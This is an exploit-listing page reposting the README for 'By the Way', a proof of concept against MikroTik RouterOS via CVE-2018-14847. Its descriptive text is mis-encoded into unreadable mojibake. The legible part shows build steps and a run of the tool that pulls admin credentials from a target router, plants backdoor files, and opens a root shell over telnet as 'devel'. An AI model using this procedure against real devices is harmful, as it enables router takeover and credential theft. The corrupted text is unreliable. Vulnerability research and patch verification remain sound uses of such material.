Sploitus

Exploit for routeros-CVE-2018-14847-bytheway

kitploit ┬╖ 2026-08-25

Exploit Code

MARKDOWN82 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BABYSHEN-ROUTEROS-CVE-2018-14847-BYTHEWAY
# By the Way

By the Way рдПрдХ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд╣реИ рдЬреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд RouterOS рд╕рдВрд╕реНрдХрд░рдг рдЪрд▓рд╛рдиреЗ рд╡рд╛рд▓реЗ Mikrotik рдбрд┐рд╡рд╛рдЗрд╕реЛрдВ рдкрд░ рд░реВрдЯ рд╢реЗрд▓ рд╕рдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИ:

  * Longterm: 6.30.1 - 6.40.7
  * Stable: 6.29 - 6.42.0
  * Beta: 6.29rc1 - 6.43rc3



рдпрд╣ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдкрд╛рде рдЯреНрд░рд╛рд╡рд░реНрд╕рд▓ рднреЗрджреНрдпрддрд╛ CVE-2018-14847 рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ рдПрдбрдорд┐рди рдкрд╛рд╕рд╡рд░реНрдб рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИ рдФрд░ рдбреЗрд╡рд▓рдкрд░ рдмреИрдХрдбреЛрд░ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ "option" рдкреИрдХреЗрдЬ рдмрдирд╛рддрд╛ рд╣реИред рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рдХреЗ рдмрд╛рдж рд╣рдорд▓рд╛рд╡рд░ рдПрдбрдорд┐рди рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде рд░реВрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ "devel" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Telnet рдпрд╛ SSH рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

Mikrotik рдиреЗ CVE-2018-14847 рдХреЛ рдЕрдкреНрд░реИрд▓ рдореЗрдВ рд╣реА рдкреИрдЪ рдХрд░ рджрд┐рдпрд╛ рдерд╛ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЬрдм рддрдХ рдпрд╣ PoC рдирд╣реАрдВ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рдерд╛, рдореБрдЭреЗ рдирд╣реАрдВ рд▓рдЧрддрд╛ рдХрд┐ рдпрд╣ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ рдЦреБрд▓рд╛рд╕рд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдХрд┐ рдЗрд╕ рд╣рдорд▓реЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдлрд╝рд╛рдЗрд▓реЗрдВ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред Mikrotik рдХреА рдПрдбрд╡рд╛рдЗрдЬрд╝рд░реА рдЖрдк рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:

  * https://blog.mikrotik.com/security/winbox-vulnerability.html



рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐, рд╣рд╛рд▓рд╛рдБрдХрд┐ рдпрд╣ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ Winbox рдХреЗ рд▓рд┐рдП рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИ, рдЗрд╕реЗ HTTP рдкрд░ рдкреЛрд░реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдмрд╢рд░реНрддреЗ рдЖрдкрдХреЛ рдПрдбрдорд┐рди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рдкреВрд░реНрд╡ рдЬрд╛рдирдХрд╛рд░реА рд╣реЛред

## рдирд┐рд░реНрднрд░рддрд╛рдПрдБ

рдпрд╣ PoC рдирд┐рдореНрди рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ:

  * Boost 1.66
  * pthread
  * cmake



## рдмрд┐рд▓реНрдб рдирд┐рд░реНрджреЗрд╢

root@kitploit:~
    
    
    mkdir build
    cd build
    cmake ..
    make
    

## рдЙрдкрдпреЛрдЧ рдЙрджрд╛рд╣рд░рдг

root@kitploit:~
    
    
    albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
    Trying 192.168.1.251...
    Connected to 192.168.1.251.
    Escape character is '^]'.
    Password: 
    Login failed, incorrect username or password
    
    Connection closed by foreign host.
    albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ ./btw -i 192.168.1.251
    
       тХФтХЧ тФм тФм  тФМтФмтФРтФм тФмтФМтФАтФР  тХж тХжтФМтФАтФРтФм тФм
       тХатХйтХЧтФФтФмтФШ   тФВ тФЬтФАтФдтФЬтФд   тХСтХСтХСтФЬтФАтФдтФФтФмтФШ
       тХЪтХРтХЭ тФ┤    тФ┤ тФ┤ тФ┤тФФтФАтФШ  тХЪтХйтХЭтФ┤ тФ┤ тФ┤ 
    
    [+] Extracting passwords from 192.168.1.251:8291
    [+] Searching for administrator credentials 
    [+] Using credentials - admin:lol
    [+] Creating /pckg/option on 192.168.1.251:8291
    [+] Creating /flash/nova/etc/devel-login on 192.168.1.251:8291
    [+] There's a light on
    albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
    Trying 192.168.1.251...
    Connected to 192.168.1.251.
    Escape character is '^]'.
    Password: 
    
    
    BusyBox v1.00 (2017.03.02-08:29+0000) Built-in shell (ash)
    Enter 'help' for a list of built-in commands.
    
    # uname -a
    Linux MikroTik 3.3.5 #1 Thu Mar 2 08:16:25 UTC 2017 mips unknown
    # cat /rw/logs/VERSION
    v6.38.4 Mar/08/2017 09:26:17
    # Connection closed by foreign host.